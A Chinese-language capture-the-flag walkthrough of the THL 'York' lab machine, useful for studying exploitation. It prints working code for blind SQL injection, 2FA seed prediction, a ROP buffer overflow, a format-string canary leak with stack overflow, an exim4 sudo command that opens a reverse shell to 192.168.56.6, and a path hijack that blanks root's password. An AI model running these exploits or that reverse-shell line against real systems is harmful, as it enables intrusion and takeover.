靶机信息
难度:Profesional
靶机链接:https://labs.thehackerslabs.com/machine/168
York 是 THL 的一台专家级高难度靶机,全程无简单漏洞,全程考验漏洞挖掘、代码审计、二进制 Pwn 与 Linux 提权能力。从 SQL 盲注、2FA 算法破解、ROP 链绕过 NX 保护,到格式化字符串泄露 Canary、栈溢出绕过保护机制,再到最终路径劫持拿下 root,每一步都是硬核攻防。整套渗透链环环相扣,是极具挑战的进阶实战靶机。
信息收集
端口扫描
首先,使用 nmap 进行扫描,以识别开放的端口。
nmap -p22,3000,6969,9696 -sCV -Pn -n -oN targeted $ip
扫描完成后,得到以下结果:
Nmap scan report for 192.168.56.89
Host is up (0.0041s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 7 (protocol 2.0)
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=2620767971a2c5eb; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=HnIsMGxwxISHc0ZHgheI7u_a_pM6MTc3MDY3MjAyODc3Mzg4Mjk1OA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Mon, 09 Feb 2026 21:20:28 GMT
| <!DOCTYPE html>
| <html lang="en-US" data-theme="gitea-auto">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>York Gitea</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiWW9yayBHaXRlYSIsInNob3J0X25hbWUiOiJZb3JrIEdpdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovLzE5Mi4xNjguNTYuMTAzOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly8xOTIuMTY4LjU2LjEwMzozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vMTkyLjE2OC41Ni4x"
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=0783f774877d26d8; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=CywKN7PUkdEtOHrXtZlVD1lOivg6MTc3MDY3MjAzMzg1NjU3NTc2NA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Mon, 09 Feb 2026 21:20:33 GMT
|_ Content-Length: 0
6969/tcp open acmsoda?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
| User: Password:
| NULL:
|_ User:
9696/tcp open unknown
<SNIP>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
我们发现了 4 个端口:22、3000、6969、9696
Gitea 信息收集
由于 6969 和 9696 端口运行的是未知服务,我们先从 3000 端口入手——该端口运行的是 Gitea,我们可能会在其中找到一些有价值的文件。



检查完代码仓库后,我们发现了一个属于 admin 用户的仓库,其中包含一段 C 语言代码。这段代码仅包含一个功能:生成 64 位的“安全”2FA 验证码。之所以给“安全”加引号,是因为这些验证码是基于 srand 时间种子生成的,因此可以被预测。
SQL 注入(SQLi)漏洞识别
在剩余两个端口(均带有登录功能)上进行测试后,我发现向 6969 端口输入单引号时,返回结果出现异常:
❯ nc 192.168.56.89 6969
User: admin
Password: admin
User or Password incorrect
❯ nc 192.168.56.89 6969
User: admin'
Password: a
❯
具体差异在于:输入单引号后,目标未返回错误提示信息,这意味着我们可能破坏了数据库查询语句。此时我们可以尝试使用 sqlmap 进行利用,但该工具仅适用于 Web 应用场景,因此我们只能选择手动利用,或搭建一个临时的 Flask Web 服务作为代理,将 Web 登录面板的请求转发至 6969 端口的登录服务。以下是手动利用的基础示例代码:
import socket
import time
import string
from pwn import log
HOST, PORT = '192.168.56.89', 6969
charset = ',' + string.ascii_lowercase + string.digits + '_'
extracted = ""
b1 = log.progress("payload")
b2 = log.progress("extracted")
for pos in range(1, 100):
for c in charset:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((HOST, PORT))
s.recv(1024)
payload = f"admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),{pos},1)='{c}',SLEEP(1),0)#"
b1.status(payload)
start = time.time()
s.sendall((payload + "\n").encode())
s.recv(1024)
s.sendall(b"x\n")
s.recv(1024)
elapsed = time.time() - start
s.close()
if elapsed > 0.9:
extracted += c
b2.status(extracted)
break
漏洞利用与凭证获取
不过我选择使用 Web 代理的方式进行利用。针对这种一次性的临时需求,我借助 AI 生成了一个临时 Web 服务代码。实质上就是将非标准协议(TCP Raw Socket)转换为标准 HTTP 协议,搭了个转发层方便工具测试:
from flask import Flask, request
import socket
app = Flask(__name__)
# 配置目标信息
TARGET_HOST = "192.168.56.89"
TARGET_PORT = 6969
def tcp_relay(user, password):
try:
# 1. 建立 TCP 连接
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((TARGET_HOST, TARGET_PORT))
# 2. 读取欢迎信息 (User:)
s.recv(1024)
s.sendall((user + "\n").encode())
# 3. 读取密码提示 (Password:)
s.recv(1024)
s.sendall((password + "\n").encode())
# 4. 获取最终响应内容
response = s.recv(4096).decode(errors='ignore').strip()
s.close()
return response
except Exception as e:
return f"Error: {str(e)}"
@app.route("/", methods=["GET", "POST"])
def index():
# 统一获取参数,支持 GET 和 POST
user = request.values.get("user", "admin")
password = request.values.get("pass", "admin")
# 将请求转发至 TCP 服务端
result = tcp_relay(user, password)
# 打印日志方便调试
print(f"[+] Testing User: {user} | Response: {result}")
# 返回给 SQLMap
return result
if __name__ == "__main__":
app.run(host="127.0.0.1", port=8888, debug=False)
运行该脚本后,向本地 8888 端口发起 sqlmap 扫描:
sqlmap --url "http://127.0.0.1:8080/" --forms --batch --dbms=mysql
等待数分钟后,可确认目标存在漏洞:
---
Parameter: user (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: user=ibbX' AND (SELECT 3041 FROM (SELECT(SLEEP(5)))MQdf) AND 'WKvr'='WKvr&pass=
---
确认漏洞后,我们可以枚举数据库,共发现 3 个数据库:
[*] bin_auth
[*] information_schema
[*] python_auth_proyect
基于上述结果,我们选择导出 bin_auth 数据库,最终成功获取到用户凭证。
❯ sqlmap -u "http://127.0.0.1:8888/?user=admin&pass=admin" --batch -p user -D bin_auth -T users -C username,password --dump

权限入侵
2FA 绕过
在 9696 端口测试获取到的凭证时,发现凭证正确,但系统要求输入二次验证(2FA)验证码:
❯ nc 192.168.56.89 9696
sáb 28 feb 2026 10:19:25 -03
Username: matsi
Password: Ultr4S3cr3tsecur3P4ssw0rd123_
Login Successful
Enter the 2fa code: 123123
Wrong Code
❯
看到这一现象,我们可以联想到此前发现的用于生成验证码的二进制程序。
尽管暂时无法通过 2FA 验证,但我们获取到了关键信息:目标返回的第一行内容是 date 命令的执行结果。这一点至关重要——如果本地系统与目标系统的时间存在偏差,基于 srand 种子生成的验证码将无法匹配。因此,我们需要先同步时间,设置正确的时区(目标系统时区为 GMT-3),编写脚本如下:
import ctypes
import re
from pwn import *
from datetime import datetime, timezone, timedelta
host, port = '192.168.56.89', 9696
libc = ctypes.CDLL("libc.so.6")
p = remote(host, port)
raw_date = p.recvline().decode().strip()
# 手动解析西班牙语/特定格式日期
months = {"ene":1,"feb":2,"mar":3,"abr":4,"may":5,"jun":6,"jul":7,"ago":8,"sep":9,"oct":10,"nov":11,"dic":12}
parts = re.search(r'(\d+) (\w+) (\d+) (\d+):(\d+):(\d+) ([+-]\d+)', raw_date)
day, mon_str, year, h, m, s, tz = parts.groups()
dt = datetime(int(year), months[mon_str.lower()], int(day), int(h), int(m), int(s))
seed = int(dt.replace(tzinfo=timezone(timedelta(hours=int(tz)))).timestamp())
libc.srand(seed)
p.sendline(b"matsi")
p.sendline(b"Ultr4S3cr3tsecur3P4ssw0rd123_")
lon = 64
fin = [1 + libc.rand() % 9]
for _ in range(1, lon):
fin.append(libc.rand() % 10)
p.sendline(''.join(map(str, fin)).encode())
p.interactive()
通过这段代码,我们成功绕过 2FA 验证,并看到了一个新的操作菜单:

在上述选项中,第二个选项的价值最高。我们输入 2,得到了 Gitea 的用户凭证。
❯ python3 2fa.py
lun 09 feb 2026 20:30:24 -03
Username: Password: Login Successful
Enter the 2fa code:
[1] - Print a test message
[2] - Obtain special credentials from Gitea
[3] - Exit
> $ 2
matsi:&2c6d~B5$6wR~)n
$
易受攻击二进制程序分析
使用新获取的凭证登录 Gitea 后,我们发现了一个包含 9696 端口对应二进制程序的私有仓库

可通过程序运行行为确认匹配关系:
❯ ./bin
lun 09 feb 2026 20:53:51 -03
Username: matsi
Password: Ultr4S3cr3tsecur3P4ssw0rd123_
Login Successful
Enter the 2fa code: a
Wrong Code
❯
使用 ida 分析该二进制程序后发现,“Print a test message”选项存在数据写入超出缓冲区容量的问题,由此可判定该程序存在缓冲区溢出(Buffer Overflow)漏洞。

缓冲区溢出 ROP 链利用
查看该二进制程序的保护机制,发现仅启用了 NX 保护:
❯ checksec bin
[*] './bin'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
❯
这意味着栈区不可执行,因此我们无法通过植入 shellcode 的方式实现利用(shellcode 永远不会被执行)。我们可以尝试 ret2libc 攻击,但如果目标系统启用了 ASLR(地址空间布局随机化),libc 的基地址会在每次程序执行时变化,这会大幅增加利用难度(需要先泄露 libc 基地址)。相比之下,使用 ROP 链 进行利用更为简单——只需找到若干可用的 gadgets(小工具),即可完成漏洞利用。
查找偏移量
首先需要确定缓冲区溢出的偏移量。我们可以使用 Metasploit 的工具生成模式字符串,并将其传入目标程序:
❯ pattern_create.rb -l 120
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8<SNIP>9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9
❯
修改测试代码,使其发送模式字符串,并预留足够时间让我们通过 gdb 附加到进程:
import ctypes
import time
from pwn import *
libc = ctypes.CDLL("libc.so.6")
libc.srand.argtypes = (ctypes.c_uint,)
libc.rand.restype = ctypes.c_int
p = process("./bin")
p.sendline(b"matsi")
p.sendline(b"Ultr4S3cr3tsecur3P4ssw0rd123_")
lon = 64
libc.srand(int(time.time()))
fin = []
fin.append(1 + libc.rand() % 9)
i = 1
while i < lon:
num = 0 + libc.rand() % 10
fin.insert(i, num)
i += 1
code = ''.join(map(str, fin)).encode()
p.sendline(code)
p.sendline(b'1')
p.sendline(b"NOP")
### BOF DATA ###
pattern = b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9'
payload = pattern
pause()
### Buffer Overflow Input ###
p.sendline(payload)
p.interactive()
上述代码中,我们使用 pause() 函数“冻结”进程,以便通过 gdb 附加:

执行代码后,我们可以看到进程 PID,使用 gdb 附加到该进程:
❯ gdb -p 1927345
在 gdb 中输入 continue 继续执行,同时在漏洞利用脚本中按下任意键。
当程序崩溃时,执行 info frame 命令,即可获取计算偏移量所需的关键值:
pwndbg> info frame
Stack level 0, frame at 0x7fff7b5ec250:
rip = 0x40174d in main; saved rip = 0x4130634139624138
called by frame at 0x7fff7b5ec258
Arglist at 0x6241376241366241, args:
Locals at 0x6241376241366241, Previous frame's sp is 0x7fff7b5ec250
Saved registers:
rbp at 0x7fff7b5ec240, rip at 0x7fff7b5ec248
❯ pattern_offset.rb -q 0x4130634139624138
[*] Exact match at offset 56
确定偏移量后,接下来需要查找可用于利用的函数、gadgets 等资源。
二进制程序内部查找
我们可以使用 radare2 进行查找,但为了便捷性,我选择使用 ida。
在分析过程中,我们发现了 _xl 函数:
❯ objdump -D bin | grep '_xl' -A 7
00000000004011cc <_xl>:
4011cc: 55 push %rbp
4011cd: 48 89 e5 mov %rsp,%rbp
4011d0: 48 89 e7 mov %rsp,%rdi
4011d3: 41 ff e5 jmp *%r13
4011d6: 90 nop
4011d7: 0f 0b ud2
该函数的价值在于:第二条指令将栈顶(RSP)内容复制到 RDI 寄存器——而调用 system 函数时,其第一个参数正是从 RDI 寄存器读取(遵循 RDI > RSI > RDX > RCX > R8 > R9 的参数传递规则)。当程序执行到栈顶时,我们可以将 /bin/sh\x00 字符串放入 RDI 寄存器,供后续 system 函数调用。此外,函数末尾的 JMP R13 指令也极具价值:我们只需找到 pop r13 这样的 gadget,将 system 函数的地址加载到 r13 寄存器,当 _xl 函数被调用时,即可成功执行 /bin/sh。
查找函数、system 及 pop r13 的地址
使用 objdump 即可获取上述关键地址:
❯ objdump -D bin | grep -E '_xl|system|pop %r13'
0000000000401050 <system@plt>:
401050: ff 25 ba 2f 00 00 jmp *0x2fba(%rip) # 404010 <system@GLIBC_2.2.5>
4011c6: 41 5d pop %r13
00000000004011cc <_xl>:
4012ea: e8 61 fd ff ff call 401050 <system@plt>
4016fa: e8 51 f9 ff ff call 401050 <system@plt>
至此,我们已获取所有必要的地址:
# System 地址 --> 0x401050
# _xl 函数地址 --> 0x4011cc
# Gadget 地址 --> 0x4011c6
基于上述信息,完善漏洞利用脚本:
import ctypes
import time
from pwn import *
libc = ctypes.CDLL("libc.so.6")
libc.srand.argtypes = (ctypes.c_uint,)
libc.rand.restype = ctypes.c_int
p = process("./bin")
p.sendline(b"matsi")
p.sendline(b"Ultr4S3cr3tsecur3P4ssw0rd123_")
lon = 64
libc.srand(int(time.time()))
fin = []
fin.append(1 + libc.rand() % 9)
i = 1
while i < lon:
num = 0 + libc.rand() % 10
fin.insert(i, num)
i += 1
code = ''.join(map(str, fin)).encode()
p.sendline(code)
p.sendline(b'1')
p.sendline(b"NOP")
### BOF DATA ###
offset = 56 - 8 # 减去 8 是为了给 '/bin/sh\x00' 字符串预留空间(使其位于栈顶并被移入 rdi)
bin_sh = b'/bin/sh\x00'
junk = b"A"*offset
pop_r13 = p64(0x4011c6)
function = p64(0x4011cc)
system_addr = p64(0x401050)
payload = junk + bin_sh + pop_r13 + system_addr + function
### Buffer Overflow Input ###
p.sendline(payload)
p.interactive()
通过该 payload,我们完成了所有利用准备——调用 _xl 函数时,即可获取交互式 shell:

接下来,修改脚本使其连接目标主机,获取 matsi 用户的交互式 shell:
import ctypes
import time
from pwn import *
host, port = '192.168.56.89', 9696
libc = ctypes.CDLL("libc.so.6")
libc.srand.argtypes = (ctypes.c_uint,)
libc.rand.restype = ctypes.c_int
r = remote(host, port)
r.sendline(b"matsi")
r.sendline(b"Ultr4S3cr3tsecur3P4ssw0rd123_")
lon = 64
libc.srand(int(time.time() - 2)) # 时间偏移修正(延迟 2 秒)
fin = []
fin.append(1 + libc.rand() % 9)
i = 1
while i < lon:
num = 0 + libc.rand() % 10
fin.insert(i, num)
i += 1
code = ''.join(map(str, fin)).encode()
r.sendline(code)
r.sendline(b'1')
r.sendline(b"NOP")
### BOF DATA ###
offset = 56 - 8 # 减去 8 是为了给 '/bin/sh\x00' 字符串预留空间(使其位于栈顶并被移入 rdi)
bin_sh = b'/bin/sh\x00'
junk = b"A"*offset
pop_r13 = p64(0x4011c6)
function = p64(0x4011cc)
system_addr = p64(0x401050)
payload = junk + bin_sh + pop_r13 + system_addr + function
### Buffer Overflow Input ###
r.sendline(payload)
r.interactive()
由于存在微小的时间偏差,我需要将时间回调 2 秒以生成正确的验证码:
❯ python3 exp.py
[+] Opening connection to 192.168.56.89 on port 9696: Done
[*] Switching to interactive mode
sáb 28 feb 2026 10:33:26 -03
Username: Password: Login Successful
Enter the 2fa code:
[1] - Print a test message
[2] - Obtain special credentials from Gitea
[3] - Exit
> > NOP
Did the message print correctly?: $ id
uid=1000(matsi) gid=1000(matsi) grupos=1000(matsi)
至此,拿下 user.txt,过程十分艰辛。

然后把公钥写里边一份,方便 ssh 登录。
横向移动
利用 sudo 权限执行 exim4 提权
执行 sudo -l 查看权限,发现当前用户可以 NnN 用户身份执行 exim4。

查阅官方手册后,可通过以下方式进行利用:
echo -en '#!/bin/bash\nnc -c /bin/bash 192.168.56.6 4444' > /tmp/shell.sh && chmod 777 /tmp/shell.sh && sudo -u NnN exim4 -be 'x=${run{/tmp/shell.sh}}'
-be选项:这是 Exim4 的“测试字符串扩展”模式(Base Expansion)。它允许用户在命令行中测试 Exim 的内置函数和语法,而不发送邮件。${run{...}}:这是 Exim 配置文件中的一个功能强大的指令,用于执行外部二进制文件或脚本。- 执行逻辑:当
exim4处理-be后的表达式时,它会触发${run}指令,从而以当前运行exim4的用户身份(即NnN)执行/tmp/shell.sh。
执行上述命令后,即可获取 NnN 用户的交互式 shell。

带栈保护(Canary)的缓冲区溢出利用
执行 sudo -l 后发现,当前用户可以 nati 用户身份执行 /opt/copy 路径下的二进制程序。我们先将该程序下载到本地,使用 ida 进行分析。
易受攻击二进制程序分析
首先查看 main 函数:

在该函数中可以看到,易受攻击的输入点通过 fgets 向 72 字节的缓冲区写入 120 字节数据。此外,第一个输入内容直接通过 printf 输出,这导致了格式化字符串漏洞——该漏洞可帮助我们泄露栈保护值(Canary)。
继续分析其他函数,发现以下关键函数:
undefined8 copy_file(void)
{
FILE *__stream;
undefined8 uVar1;
FILE *__s;
size_t sVar2;
size_t __n;
long in_FS_OFFSET;
undefined1 local_1018 [4104];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
__stream = fopen("/tmp/sdfile","rb");
if (__stream == (FILE *)0x0) {
uVar1 = 0xffffffff;
}
else {
__s = fopen("/tmp/lsdfile","wb");
if (__s == (FILE *)0x0) {
fclose(__stream);
uVar1 = 0xfffffffe;
}
else {
do {
__n = fread(local_1018,1,0x1000,__stream);
if (__n == 0) {
fclose(__stream);
fclose(__s);
chmod("/tmp/lsdfile",0x180);
uVar1 = 0;
goto LAB_004012fd;
}
sVar2 = fwrite(local_1018,1,__n,__s);
} while (__n == sVar2);
fclose(__stream);
fclose(__s);
uVar1 = 0xfffffffd;
}
}
LAB_004012fd:
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return uVar1;
}
该函数将文件从 /tmp/sdfile 复制到 /tmp/lsdfile。我们可以调用该函数实现提权:由于当前是以 sudo 方式执行该程序(身份为 nati 用户),我们可将 /tmp/lsdfile 设置为指向 /home/nati/.ssh/authorized_keys 的符号链接,然后将 /tmp/sdfile 写入我们的 SSH 公钥。当函数执行时,即可将公钥写入 nati 用户的 authorized_keys 文件,进而通过 SSH 登录 nati 用户。
泄露栈保护值(Canary)地址
为泄露 Canary 地址,我们需要利用上述格式化字符串漏洞。首先编写 Python 脚本,向目标程序输入 %p(C 语言中,printf 的 %p 格式化符会以十六进制打印栈上的值)。单纯的 %p 价值有限,但结合数字使用(如 %12$p),即可打印栈上第 12 个值的十六进制形式。基于此,我们编写脚本循环执行 100 次,每次递增位置参数,通过视觉识别找到 Canary(x64/x86 系统中,Canary 通常以 00 结尾):
from pwn import *
context.log_level = 'error'
for i in range(1, 100):
p = process("./copy")
payload = f'%{i}$p'.encode()
p.sendline(payload)
data = p.recvline()
canary = re.search(', (.*?)\\n', data.decode()).group(1)
p.sendline(b"a")
print(f'{i} -> {canary}')
执行脚本后,得到如下输出(节选):
1 -> 0x402039
2 -> (nil)
3 -> (nil)
4 -> 0x206d36b5
5 -> (nil)
6 -> 0x7024362500000000
7 -> 0xa
<SNIP>
17 -> 0x720de6ab4bb30700
18 -> 0x1
<SNIP>
36 -> 0x7ffd0cfe91b8
37 -> 0xf64671ebf0285600
从上述输出中可识别出 Canary 出现在两个位置:
%17$p%37$p
我们选择第一个位置(%17$p)作为每次执行程序时泄露 Canary 的方式。
编写基础利用脚本
首先整理已获取的信息:
- 偏移量:
72(通过 ida 分析得出) - Canary 地址:
%17$p - 目标函数地址:待获取
接下来,修改脚本使其自动获取目标函数地址并完成利用:
from pwn import *
def main():
elf = ELF("/opt/copy")
function_addr = elf.symbols['copy_file']
p = process(["sudo", "-u", "nati", "/opt/copy"])
p.sendline(b"%17$p")
data = p.recvline()
c = re.search(', (.*?)\\n', data.decode()).group(1)
cc = int(c, 16)
canary = p64(cc)
offset = 72
payload = b"A"*offset + canary + b"A"*8 + p64(function_addr)
p.sendline(payload)
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
exit
将该脚本上传至目标主机后,需先创建 Python 虚拟环境(因目标主机未安装 pwntools):
python3 -m venv pwntools
source pwntools/bin/activate
pip install pwntools -i https://pypi.tuna.tsinghua.edu.cn/simple
执行利用脚本前,需完成以下准备工作:
### 切换到 /tmp 目录 ###
cd /tmp
### 创建所需文件 ###
touch sdfile && touch lsdfile
### 设置文件权限 ###
chmod 777 sdfile lsdfile
### 创建符号链接 ###
ln -sf /home/nati/.ssh/authorized_keys lsdfile
### 生成 SSH 密钥对 ###
ssh-keygen -t ed25519
### 将公钥写入源文件 ###
cp ~/.ssh/id_ed25519.pub /tmp/sdfile
完成上述操作后,执行利用脚本,即可通过 SSH 密钥登录 nati 用户。

这里我不用 socat 将程序绑定到端口运行, 常打格式化字符串的朋友应该懂,远程环境下的 Stdio 缓冲区行为与本地往往不一致,极易产生各种‘灵异’ Bug,直接打本地能避免不必要的麻烦。
路径劫持(Path Hijacking)
进一步枚举发现,nati 用户的家目录中存在一个设置了 SUID 权限的二进制程序。分析后发现,该程序以相对路径调用 uptime 命令:
nati@york:~$ ./msg
Congratulations, you've reached the end of this challenge! Just 2 more steps and you'll finally be able to complete it.
total time elapsed:
11:09:16 up 11 min, 2 users, load average: 0.04, 0.04, 0.01
基于此,我们可以编写一个提权脚本,原理就是把 root 密码置空然后切换成 root:
#!/bin/bash
sed 's/root:x:/root::/g' -i /etc/passwd
su
执行以下命令完成提权准备:
chmod +x uptime && export PATH=.:$PATH
运行目标二进制程序后,即可获取 root 权限的交互式 shell。

没想到最后作者还要折腾下你,需要我们循环解 3000 次压缩包,直接干:
while ls *.zip >/dev/null 2>&1; do f=$(ls -t *.zip | head -n1); unzip -o "$f" && rm "$f"; done && cat root.txt

最终拿到/root/root.txt,结束。
总结
- York 靶机作为一台专家难度靶机,渗透过程中综合利用了多种高级漏洞与技术,涵盖 SQL 注入、2FA 验证码预测、缓冲区溢出(ROP 链利用)、带 Canary 保护的缓冲区溢出、格式化字符串漏洞及路径劫持,对漏洞挖掘、利用思路和调试能力均提出了较高要求。
- 整个渗透测试的关键提权路径明确,逐步实现权限升级:普通用户 → matsi(通过缓冲区溢出漏洞获取权限)→ NnN(借助 sudo 权限执行 exim4 程序提权)→ nati(绕过 Canary 保护,结合符号链接与文件复制写入 SSH 公钥实现登录)→ root(利用路径劫持漏洞完成最终提权)。
- 渗透过程中的核心技巧的应用的是成功突破靶机的关键,主要包括:通过时间同步修正偏差,实现 2FA 验证码绕过;利用 ROP 链技术绕过 NX 保护,完成缓冲区溢出利用;借助格式化字符串漏洞精准泄露 Canary 值,突破栈保护;通过符号链接与文件复制功能结合,实现 SSH 公钥写入,完成横向移动与权限提升。
累了累了,休息下~